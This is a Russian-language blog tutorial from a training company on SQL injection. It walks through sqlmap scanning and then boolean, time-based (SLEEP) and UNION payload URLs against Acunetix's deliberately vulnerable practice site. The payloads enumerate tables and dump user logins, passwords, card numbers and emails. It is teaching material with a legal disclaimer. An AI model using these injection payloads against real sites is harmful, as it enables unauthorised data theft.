Pull to refresh
1005.48
OTUS
Цифровые навыки от ведущих экспертов

SQL инъекции для продолжающих: ломаем настоящий сайт

Reading time5 min
Views18K

Про SQL инъекции написано огромное количество статей. Все знаю про пресловутые ‘ OR 1 = 1 и аналогичные конструкции, но далеко не все реализовывали их на практике. В этой статье мы разберем на практике некоторые способы реализации SQL инъекций на примере уязвимого сайта.

Статья предназначена для тех, кто хочет на практике разобраться с тем, что такое SQL инъекции.

Дежурный дисклеймер 

Прежде всего я напомню о существовании статьи 272 УК РФ, предусматривающей ответственность за неправомерный доступ к охраняемой законом компьютерной информации... То есть пытаться ломать можно не любой сайт, так как вы рискуете попасть под действие именно этой статьи. Хотя, еще стоит напомнить о статье 274.1 (неправомерный доступ к охраняемой компьютерной информации, содержащейся в критической информационной инфраструктуре Российской Федерации… ) так как если ломаемый сайт окажется частью КИИ, то наказание будет серьезнее.

Так что пытаться ломать что угодно не стоит. Но на просторах сети есть ресурсы, специально предназначенные для отработки навыков пентеста веб сайтов, тестирования средств защиты и т.д. Как правило, эти сайты содержат уязвимости из OWASP TOP-10, но при этом после успешной эксплуатации никакой реально полезной информации вы не получаете, то есть узнав пароль админа вы все равно не можете внести каких-либо значительных изменений в контент ресурса, либо эти изменения будут быстро исправлены.

Одним из таких уязвимых веб ресурсов является http://testphp.vulnweb.com/. Компания Acunetix, авторы известного сканера, разработали несколько таких сайтов с уязвимостями. Конечно, это не единственный подобный ресурс, кроме того, также есть площадки Hack The Box, Root-me, Try to hack me и аналогичные на которых можно попрактиковаться во взломе. Однако, testphp.vulnweb.com примечателен тем, что здесь не требуется регистрация и тем более оплата.

Сначала надо найти

Многие публикации про SQLi начинаются с того, что уязвимость уже найдена и далее идет рассказ про то, как ее проэксплуатировать. Но на практике уязвимость надо сначала найти. А для этого давайте посмотрим, как работает уязвимый веб-сайт.

Мы можем покликать на различные ссылки на сайте, попробовать что-то поискать и увидеть, какие названия переменных используются для передачи параметров. Есть несколько значений, но я предлагаю рассмотреть http://testphp.vulnweb.com/artists.php?artist=1.

Можно, конечно, сразу начать экспериментировать со значениями, а можно для начала поэкспериментировать со сканерами. Посмотрим, что нам скажет sqlmap. Этот сканер входит в состав Kali Linux и не требует дополнительной установки.

Для проведения сканирования нам необходимо указать название сайта вместе с передаваемым значением.

sqlmap -u http://testphp.vulnweb.com/artists.php?artist=1

Как видно, сканер предложил несколько точек для инъекции. Рассмотрим подробнее каждую из них. Boolean Based SQL-injection — метод эксплуатации слепых инъекций, когда информация извлекается исходя из реакции на условные выражения. Инъекция называется слепой в тех случаях, если нет никакой видимой реакции от веб-приложения.

http://testphp.vulnweb.com/artists.php?artist=1 AND 2995=2995

В нашем случае сайт никак не отреагировал на предложенный пейлоад. Для таких слепых инъекций предлагается второй вариант, когда мы с помощью команд СУБД (а сканер сказал нам, что используется MySQL и соответствующий синтаксис мы используем далее), вызываем задержку ответа от базы данных.

Для большей наглядности предлагаю увеличить задержку, хотя бы до 15 секунд.

http://testphp.vulnweb.com/artists.php?artist=1 AND (SELECT 5089 FROM (SELECT(SLEEP(15)))VXbf)

Как видите, страница загружалась продолжительное время, что может говорить о наличии уязвимости.

Эксплуатируем

И наконец, третий вариант, предложенный сканером, будет нам наиболее полезен. Можно конечно применить предложенную им конструкцию с закодированными символами, но результат будет не слишком наглядным.

Вместо этого разберем работу с UNION по частям. Во вкладке artist мы видим три записи и по идее следующий запрос должен отобразить все три записи:

http://testphp.vulnweb.com/artists.php?artist=1 union select 1,2,3

На скриншоте вы можете видеть, что он показывает результат только для одной таблицы, а не для всех трех.

Теперь попробуйте передать неверный ввод в базу данных через URL, заменив artist=1 на artist=-1, как указано ниже:

Как вы теперь можете видеть, что сайт также показывает результат для оставшихся двух таблиц.

Далее нам надо узнать имя базы данных, таблицы, входящие в ее состав и попытаться найти в этих таблицах что-нибудь интересное, например информацию о пользователях.

Начнем с выявления имени базы данных. Используйте следующий запрос для получения имени базы данных:

http://testphp.vulnweb.com/artists.php?artist=-1 union select 1,database(),3

Еще нам может пригодиться версия СУБД и ОС. Их можно узнать с помощью вот такого запроса:

http://testphp.vulnweb.com/artists.php?artist=-1 union select 1,version(),current_user()

Итак, мы знаем название базы, теперь давайте попытаемся получить имена таблиц внутри базы данных. Извлекать имена этих таблиц мы будем поочередно:

http://testphp.vulnweb.com/artists.php?artist=-1 union select 1,table_name,3 from information_schema.tables where table_schema=database() limit 0,1

Первая таблица называется Artists. Мы не будем ее подробно исследовать, так как скорее всего она просто содержит информацию об исполнителях, которую мы и так можем увидеть на сайте. Выполним еще несколько запросов, поочередно меняя значения limit.

http://testphp.vulnweb.com/artists.php?artist=-1 union select 1,table_name,3 from information_schema.tables where table_schema=database() limit 1,1

 http://testphp.vulnweb.com/artists.php?artist=-1 union select 1,table_name,3 from information_schema.tables where table_schema=database() limit 2,1

 http://testphp.vulnweb.com/artists.php?artist=-1 union select 1,table_name,3 from information_schema.tables where table_schema=database() limit 3,1

…

http://testphp.vulnweb.com/artists.php?artist=-1 union select 1,table_name,3 from information_schema.tables where table_schema=database() limit 8,1

Итого, мы получили следующий список таблиц:

  1. Artists

  2. Carts

  3. Categ

  4. Featured

  5. Guestbook

  6. Pictures

  7. Product

  8. Users

Для нас наибольший интерес представляет таблица Users. Давайте посмотрим какие поля в ней содержатся:

http://testphp.vulnweb.com/artists.php?artist=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'

Из предложенного списка полей для нас наибольший интерес представляют uname и pass. Для начала с помощью уже знакомой нам функции concat узнаем имя пользователя.

http://testphp.vulnweb.com/artists.php?artist=-1 union select 1,group_concat(uname),3 from users

Аналогичным образом получим значение pass.

http://testphp.vulnweb.com/artists.php?artist=-1 union select 1,group_concat(pass),3 from users

В результате мы получим пару очевидных значений test:test. Однако, с точки зрения изучения SQL-инъекций мы добились своей цели, получили из таблицы учетные данные пользователя. Конечно, в реальности вряд ли пароли пользователей будут храниться в открытом виде, скорее всего будут хэши.

С помощью аналогичных запросов мы можем также получить информацию о кредитной карте и электронной почте пользователей сайта.

http://testphp.vulnweb.com/artists.php?artist=-1 union select 1,group_concat(cc),3 from users

http://testphp.vulnweb.com/artists.php?artist=-1 union select 1,group_concat(email),3 from users

Заключение

В этой статье мы рассмотрели основы выявления и эксплуатации SQL инъекций на примере уязвимого веб-ресурса. На просторах сети можно найти другие варианты эксплуатации данной уязвимости на сайте http://testphp.vulnweb.com, в частности предлагается использовать http://testphp.vulnweb.com/listproducts.php?cat=1 и проделать с ним похожие действия. Так что в статье был представлен лишь один из возможных векторов атаки.

В завершение приглашаем всех желающих на открытое занятие «Ntlm relay. Настройка стенда и эксплуатация». Занятие будет полезно для понимания работы механизма аутентификации с использованием ntlm sspi. Во время урока настроите стенд для тестирования уязвимости и проведёте несколько тестов с использованием инструментов impacket. Записаться можно на странице курса «Пентест. Практика тестирования на проникновение».

Tags:
Hubs:
Total votes 22: ↑18 and ↓4+14
Comments7

Articles

Information

Website
otus.ru
Registered
Founded
Employees
101–200 employees
Location
Россия
Representative
OTUS